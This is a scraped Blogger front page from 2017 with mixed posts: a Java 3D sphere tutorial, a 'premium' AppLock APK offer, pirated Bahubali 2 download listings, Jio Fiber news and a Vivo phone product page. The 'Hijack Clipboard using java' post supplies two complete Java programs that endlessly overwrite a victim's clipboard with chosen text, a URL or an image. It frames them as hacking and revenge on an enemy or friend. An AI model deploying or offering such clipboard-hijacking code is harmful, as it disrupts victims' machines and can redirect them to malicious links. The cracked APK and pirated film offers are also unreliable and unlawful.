Trending
Loading...
  • New Movies
  • Recent Games
  • Tech Review

Tab 1 Top Area

Tech News

Game Reviews

Recent Post

Thursday, 25 May 2017
Java 3D:- Creating a 3d ball using java

Java 3D:- Creating a 3d ball using java


Quoted from Wikipedia 


Java 3D is a scene graph based 3D application programming interface (API) for the Java platform. It ran atop either OpenGL orDirect3D until the version 1.6.0 which runs at the top of JOGL. Since version 1.2, Java 3D has been developed under the Java Community Process. A Java 3D scene graph is a directed acyclic graph (DAG).

Compared to other solutions, Java 3D is not only a wrapper around these graphics APIs, but an interface that encapsulates the graphics programming using a true object-oriented approach. Here a scene is constructed using a scene graph that is a representation of the objects that have to be shown. This scene graph is structured as a tree containing several elements that are necessary to display the objects. Additionally, Java 3D offers extensive spatialized sound support.

Java 3D and its documentation are available for download separately. They are not part of the Java Development Kit (JDK).



Download Java 3d


Before you could start creating java 3d programs you need to download and plugin it with your IDE.
you could download it from here.


3d ball code 












/*
* LitSphereApp.java 1.0 99/04/12
*
* Copyright (c) 1999 Sun Microsystems, Inc. All Rights Reserved.
*
* Sun grants you ("Licensee") a non-exclusive, royalty free, license to use,
* modify and redistribute this software in source and binary code form,
* provided that i) this copyright notice and license appear on all copies of
* the software; and ii) Licensee does not utilize the software in a manner
* which is disparaging to Sun.
*
* This software is provided "AS IS," without a warranty of any kind. ALL
* EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY
* IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR
* NON-INFRINGEMENT, ARE HEREBY EXCLUDED. SUN AND ITS LICENSORS SHALL NOT BE
* LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, MODIFYING
* OR DISTRIBUTING THE SOFTWARE OR ITS DERIVATIVES. IN NO EVENT WILL SUN OR ITS
* LICENSORS BE LIABLE FOR ANY LOST REVENUE, PROFIT OR DATA, OR FOR DIRECT,
* INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL OR PUNITIVE DAMAGES, HOWEVER
* CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY, ARISING OUT OF THE USE OF
* OR INABILITY TO USE SOFTWARE, EVEN IF SUN HAS BEEN ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGES.
*
* This software is not designed or intended for use in on-line control of
* aircraft, air traffic, aircraft navigation or aircraft communications; or in
* the design, construction, operation or maintenance of any nuclear facility.
* Licensee represents and warrants that it will not use or redistribute the
* Software for such purposes.
*/


/*
*
* This application (or a version of it) generated one or more of the images in
* Chapter 6 of Getting Started with the Java 3D API. The Java 3D Turtorial.
*
* See http://www.sun.com/desktop/java3d/collateral for more information.
*
*/


import java.applet.Applet;
import java.awt.BorderLayout;

import javax.media.j3d.AmbientLight;
import javax.media.j3d.Appearance;
import javax.media.j3d.Background;
import javax.media.j3d.BoundingSphere;
import javax.media.j3d.BranchGroup;
import javax.media.j3d.Canvas3D;
import javax.media.j3d.DirectionalLight;
import javax.media.j3d.Material;
import javax.vecmath.Color3f;
import javax.vecmath.Vector3f;

import com.sun.j3d.utils.applet.MainFrame;
import com.sun.j3d.utils.geometry.Sphere;
import com.sun.j3d.utils.universe.SimpleUniverse;

public class LitSphereApp extends Applet {

Appearance createAppearance() {

Appearance appear = new Appearance();
Material material = new Material();
// material.setDiffuseColor(0.0f, 0.0f, 1.0f);
material.setShininess(50.0f);
// make modifications to default material properties
appear.setMaterial(material);

// ColoringAttributes colorAtt = new ColoringAttributes();
// colorAtt.setShadeModel(ColoringAttributes.SHADE_FLAT);
// appear.setColoringAttributes(colorAtt);

return appear;
}

BranchGroup createScene() {
BranchGroup scene = new BranchGroup();

scene.addChild(new Sphere(0.9f, Sphere.GENERATE_NORMALS,
createAppearance()));

AmbientLight lightA = new AmbientLight();
lightA.setInfluencingBounds(new BoundingSphere());
scene.addChild(lightA);

DirectionalLight lightD1 = new DirectionalLight();
lightD1.setInfluencingBounds(new BoundingSphere());
Vector3f direction1 = new Vector3f(-1.0f, -1.0f, -0.5f);
direction1.normalize();
lightD1.setDirection(direction1);
lightD1.setColor(new Color3f(0.0f, 0.0f, 1.0f));
scene.addChild(lightD1);

DirectionalLight lightD2 = new DirectionalLight();
lightD2.setInfluencingBounds(new BoundingSphere());
Vector3f direction2 = new Vector3f(1.0f, -1.0f, -0.5f);
direction2.normalize();
lightD2.setDirection(direction2);
lightD2.setColor(new Color3f(1.0f, 0.0f, 0.0f));
scene.addChild(lightD2);

Background bg = new Background();
bg.setColor(1.0f, 1.0f, 1.0f);
bg.setApplicationBounds(new BoundingSphere());
scene.addChild(bg);

return scene;
}

public LitSphereApp() {
setLayout(new BorderLayout());
Canvas3D c = new Canvas3D(null);
add("Center", c);

BranchGroup scene = createScene();
scene.compile();

SimpleUniverse u = new SimpleUniverse(c);

// This will move the ViewPlatform back a bit so the
// objects in the scene can be viewed.
u.getViewingPlatform().setNominalViewingTransform();

u.addBranchGraph(scene);
}

public static void main(String argv[]) {
new MainFrame(new LitSphereApp(), 256, 256);
}
}
Saturday, 20 May 2017
AppLock Premium v2.30.3 APK

AppLock Premium v2.30.3 APK

AppLock Premium
AppLock can lock SMS, Contacts, Gmail, Facebook, Gallery, Market, Settings, Calls and any app you choose, with abundant options, protecting your privacy.
AppLock can hide pictures and videos, AppLock empowers you to control photo and video access. Selected pictures vanish from your photo gallery, and stay locked behind an easy-to-use PIN pad. With AppLock, only you can see your hidden pictures. Privacy made easy!
Features
  •  Protects any apps using password or pattern
  •  Photo Vault, hide pictures
  •  Video Vault, hide videos
  •  Customize background, set your favorite photo
  •  Themes
  •  Fake cover
  •  Profiles, easy to change the locks
  •  Automatic lock at given time
  •  Automatic lock at given location
  •  Random keyboard
  •  Lock switch(WiFi,BT,3G/4G Data…)
  •  Widget for quick locking/unlocking
  •  Locks incoming or outgoing calls
  •  Lock system Settings
  •  Lock Google Play Store
  •  Quick lock switcher on status bar
  •  Re-lock policy: allow short exit, no need to unlock again
  •  Prevent apps from being uninstalled
  •  Hide AppLock’s icon from launcher
  •  AppLock can be prevented from being uninstall
  •  AppLock cannot be killed by task killers
  •  Little memory footprint and power-saving
What’s in this version
  • Add intruder selfie
  • Incognito browser
  • Private SNS
How to Install ?
  1. Download The Apk given below.
  2. Install normally.
  3. Done.Enjoy !!
Screenshots
Download Links

Saturday, 29 April 2017
Reliance Jio Fiber Offer-3 Months Free Internet With Upto 1Gbps Speed

Reliance Jio Fiber Offer-3 Months Free Internet With Upto 1Gbps Speed

Reliance Jio Fiber with 1 Gbps Speed, Jio Fiber FTTH Offer, Jio Fiber 3 Months Free InterNet Offer, Reliance Jio Launched. Reliance Jio Has Started Rolling Out The Much Famous And Awaited Service  Jio Fiber Also Known As   FTTH-Fiber to The Home   In Mumbai According To Some Reports.
Jio Is Already Grabbed Huge Indian Telecom Market With Its   Free Jio 4G   Services And Free Unlimited Internet Till March 2017 With   Jio Happy New Year Offer
Reliance Jio Fiber To The Home Started Rolling Out
As Reported In India Today Jio Has Started Rolling Out Its Very High Speed Internet Service Jio Fiber FTTH In Mumbai
Rushabh Vora, a resident of Rahul building in Walkeshwar Road, informed that  Jio Fiber connectivity is available  in his building and people are already using it.

Reliance Jio Fiber Real Speed 

Reliance Jio Has Claimed That Jio Fiber AKA FTTH Will Offer Upto 1 Gbps Download Speed But Users Are Getting 70-100 Mbps Speed While Downloading

Reliance Jio Fiber Welcome Offer – Free Fiber Internet

As You Already Know That Jio Has Launched Its 4G Services With Jio Preview Offer and Later Jio Welcome Offer With Unlimited Free 4G Services Like :
  • Unlimited Free HD Calling
  • Free HD Movie Streaming With Jio Movies
  • Free Songs Streaming
  • Live TV Streaming
Same Like Jio 4G Services , Reliance Jio Fiber FTTH Offering 3 Months Free Internet Connectivity To Its Users.
Jio Fiber is Still In Its Initial Stage And started In Mumbai But Later It Will Be In Another Cities.

Reliance Jio Fiber FTTH Plans :

As Written Above Reliance Jio Fiber Is Offering Its Jio Fiber High Speed Internet Services Free Of Cost For First 3 Months But You have to pay Rs 4,500 as charges for the router

Along with this, the company has not yet revealed the amount users will have to pay after the end of three months.

How to Buy & Apply For Jio Fiber FTTH Connection ?

Reliance Jio is In Initial Stage And Reliance has not explained the process of how one can apply for a Jio FTTH connection
So Everything Is Unclear Right Now About Jio Fiber FTTH , And Questions Are Still There Like :
  • How to Apply For Jio Fiber FTTH Connection ?
  • How to get Jio Fiber ?
  • What are The Data Plans Of Reliance Jio Fiber?
  • What Will be Download Speed in Jio Fiber?
Friday, 28 April 2017
Bahubali 2 (2017) 720p Blu-Ray x264 Dual Audio (Hindi(Clean Audio)+Tamil AAC 5.1)

Bahubali 2 (2017) 720p Blu-Ray x264 Dual Audio (Hindi(Clean Audio)+Tamil AAC 5.1)

Movie Information

movies,films,movie database,actors,actresses,directors,hollywood,stars,quotes NA/10 
Directed By: S.S. Rajamouli
Writers: Vijayendra Prasad
Language: Hindi-Tamil -Telugu
Released On: 28 April 2017 (India)
Genre(s): Action, Adventure, History |
Star Cast: Prabhas, Rana Daggubati, Anushka Shetty
Storyline: When two opposite ends unite the rod breaks in between. When Shiva, the son of Bahubali realizes his past from Kattappa, he seeks to find consensus to his question : Why did Kattapa kill his father? This, Bahubali- the Conclusion showcases the answer and its consequences on the Mahishmati Kingdom when its roots are stirred.tt4849438,Baahubali: The Conclusion (2017), Baahubali 2 Full Movie,Baahubali: The Conclusion (2017) Movie Download 720p Torrent [HD], Watch online high quality full hd movie download torrent khatrimaza worldfree4u Baahubali 2: The Conclusion 2017 Full HD Movie Download

Baahubali 2 – The Conclusion Trailer | Prabhas, Rana Daggubati | SS Rajamouli

SS Rajamouli’s Baahubali 2 Releasing in theaters April 28.
Baahubali 2 – The Conclusion is part a two part Indian movie, directed by S.S. Rajamouli. The film will be released in Telugu, Tamil, Hindi, Malayalam, as well as several other International languages simultaneously. Part 1, Baahubali – The Beginning released on the 10th of July, 2015.Baahubali: The Conclusion is an upcoming Indian epic historical fiction film directed by S. S. Rajamouli. It is the continuation of Baahubali: The Beginning. Both parts were jointly produced on a budget of ₹2.5 billion (US$37 million).As of August 2015, 40% of the filming was completed. Shooting for the remaining sequences began on 17 December 2015 in Ramoji Film City, Hyderabad. The director revealed that the second part would be “more emotional and with more grandeur”, while speaking at Busan Asian Film Market. The film is scheduled for a worldwide release on 28 April 2017

SCREENSHOTS

Baahubali 2: The Conclusion (2017) Full Movie Coming Soon Full HD
Language: Hindi,tamil
Quality: 720p BluRay
Size: 1GB
Subtitle: English
Storyline: When Shiva, the son of Bahubali, learns about his heritage, he begins to look for answers. His story is juxtaposed with past events that unfolded in the Mahishmati Kingdom.





Download Links
(There Are several short links as it took lots of efforts to provide you the best print And Audio)


Thursday, 13 April 2017
no image

Hijack Clipboard using java

What is Clipboard?


The clipboard is a special location in your computer's memory that temporarily stores data that has been cut or copied from a document. This data can then be pasted to a new location. The clipboard will typically hold its information until you cut or copy something else, or log out of the computer. For example, a user may copy information from a word processor and paste that information into an e-mail message.


What is Clipboard Hijack?


A clipboard hijacking is an exploit in which the attacker gains control of the victim'sclipboard and replaces its contents with their own data, such as a link to a malicious Web site.For more details see here.


Hacking clipboard using java.


Our java code will repeatedly change clipboard text with the hackers text, may be a irritating line ,or a URL to your site.
We will use the Toolkit class to get the system clipboard and then we will use the Clipboard class to change the content of clipboard.

Below is the complete java code .

//code by quadgen
//this code hack the clipboard
import java.awt.*;
import java.awt.datatransfer.*;
class HackTheClipboard
{
static String text = "Your text here";
public static void main(String args[])
{
while(true)
{
Clipboard clipboard ;
StringSelection stringSelection = new StringSelection(text);
try{
clipboard=Toolkit.getDefaultToolkit().getSystemClipboard();
clipboard.setContents(stringSelection, stringSelection);
}
catch(Exception e)
{
/*error may occur if the user and the program both will try to access
 clipboard at the same time just let the code to compile as the clipbrd may be free after 
some time */
                continue;
            }
}
}


}


In the above program you could change the "Your Text Here " with your own text run the program and try to copy paste something you could not be able to do it as the text will change every time.


Inserting image to clipboard 

Above program could only insert text into clipboard and hijack it ,but now the program which you will see will be able to repeatedly insert image to the clipboard.("I you have an enemy or a friend which with you want to take revenge ,then you might have guess what you have to do").



import java.awt.*;
import java.awt.datatransfer.*;

public class ClipboardImage
{

/**
* Place an image on the system clipboard.
*
* @param image - the image to be added to the system clipboard
*/

public static void write(Image image)
{
if (image == null)
throw new IllegalArgumentException ("Image can't be null");

ImageTransferable transferable = new ImageTransferable( image );
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(transferable, null);
}

static class ImageTransferable implements Transferable
{
private Image image;

public ImageTransferable (Image image)
{
this.image = image;
}

public Object getTransferData(DataFlavor flavor)
throws UnsupportedFlavorException
{
if (isDataFlavorSupported(flavor))
{
return image;
}
else
{
throw new UnsupportedFlavorException(flavor);
}
}

public boolean isDataFlavorSupported (DataFlavor flavor)
{
return flavor == DataFlavor.imageFlavor;
}

public DataFlavor[] getTransferDataFlavors ()
{
return new DataFlavor[] { DataFlavor.imageFlavor };
}
}

public static void main(String[] args)
{
while(true)
{
try{
Image image = Toolkit.getDefaultToolkit ().createImage("C:\\Users\\LENOVO-PC\\Downloads\\2.jpg");
ClipboardImage.write( image );
Thread.sleep(1000);//when working with images loop
// needed to be stopped for some time in order to store the image
}
catch(Exception e)
{
continue;
}
}

}
}


In above program replace IMAGEURLHERE with your own image path in client's computer to change the image which will be copied to clipboard(small sized images works better ) or if you want to large sized images then increase the time limit of Thread.sleep(timelimit).
no image

VIVO V5 - 32GB(CROWN GOLD)

Vivo V5 - 32GB (Crown Gold)

0out of 5in 0| Write a review
`15,890`17,100You Save `1,210 (7%)
Free Shipping
EMI starting at ` 1,420
Vivo V5 - 32GB (Crown Gold)

Key Features

  • 4GB RAM | 32GB ROM | Expandable Up to 128GB
  • 20MP Rear | 13MP Selfie Camera
  • 5.5 Inches HD Display
  • 1.5 GHz Quad Core Processor | MediaTek MT6750
  • Android v6.0 Marshmallow OS
  • 3000 mAh Battery
  • 1 Year Manufacturer Warranty
  • SELLER: TIMES INTERNET LTD.
  •  EMI AVAILABLE
  •  WARRANTY APPLIED
  •  Check Availability
  •  
    Usually Delivers in 1-3 days.

Product Summary Of Vivo V5 - 32GB (Crown Gold)

BRANDVivo
CATEGORYSmart Phones
GENERAL FEATURES
Brand
Vivo
Model
V5
Handset Colour
Crown Gold
Input Type
Full Touch
Sales Package
Handset, Hands-Free, Data Cable, Charger, Sim Eject Tool
DISPLAY
Touch Screen
Yes
Screen Size
5.5 Inches
Screen Resolution
1280 x 720 Pixels
MEMORY
RAM
4 GB
ROM
32 GB
Internal Memory
32 GB
Card Slot
Yes
Card Slot Type
microSD
Expandable Memory
128 GB
Phonebook
Yes
PLATFORM
Operating System
Android v6.0 (Marshmallow)
Processor Speed
1.5 GHz
Processor Type
Quad Core
CAMERA
Primary Camera
20 MP
Secondary Camera
13 MP
Flash
Yes
Video Recording
Yes
HD Recording
Yes
Auto Focus
Yes
Other Camera Features
Rear Mode : Normal, Face Beauty, Panorama, HDR, Night, PPT, Pro, Videos, Fast, Slow, Watermark, Camera Filter, Voice Capture, Touch Capture, Palm Capture, Timer Front Mode : Normal, Face Beauty, Videos, Voice Capture, Touch Capture, Palm Capture, Timer, Gender Detection, Mirrored Self ie
NETWORK & CONNECTIVITY
Network Support
4G LTE
Network Frequency
4G Bands : Band 1(2100), 3(1800), 5(850), 40(2300); 3G Bands : UMTS WCDMA - 850, 900, 2100; 2G Bands : GSM 850, 900, 1800, 1900
Browser
Yes
GPRS
Yes
Wifi
Yes
Bluetooth
Yes, v4.0
USB
Yes, micro USB 2.0
GPS
Yes
Maps
Yes
Audio Jack
3.5 mm
BATTERY
Capacity
3000 mAh
SIM
GSM
Yes
SIM Type
Dual Sim
Dual Sim Type
GSM+LTE
MULTIMEDIA & ENTERTAINMENT
Music Player
Yes
Supported Music Format
AAC, AAC+, AMR, MIDI, OGG, FLAC, WMA, WAV, APE, MP3
Video Player
Yes
Supported Video Format
MP4, 3GP, AVI, MKV, WEBM, WMV, ASF
FM Radio
Yes
Games
Yes
SOUND
Alert Types
MP3
Loudspeaker
Yes
PHONE SIZE
Dimensions (LxBxH)
153.8 x 75.5 x 7.55 mm
Weight
154 gm
OTHER FEATURES
Additional Features
Accelerometer, Ambient light, Proximity Sensor, E-compass, Hangouts, Facebook, WhatsApp , WeChat, Maps, News & Weather, Play Games, Gmail, Chrome, Google Search, YouTube, Play Music, Play Movies & TV, Photos, Play Store, VivoCloud, WPS
WARRANTY
1 Year Manufacturer Warranty
Copyright © 2012 gogfmj All Right Reserved
Designed by Odd Themes - Published By Blogger Templates20
Back To Top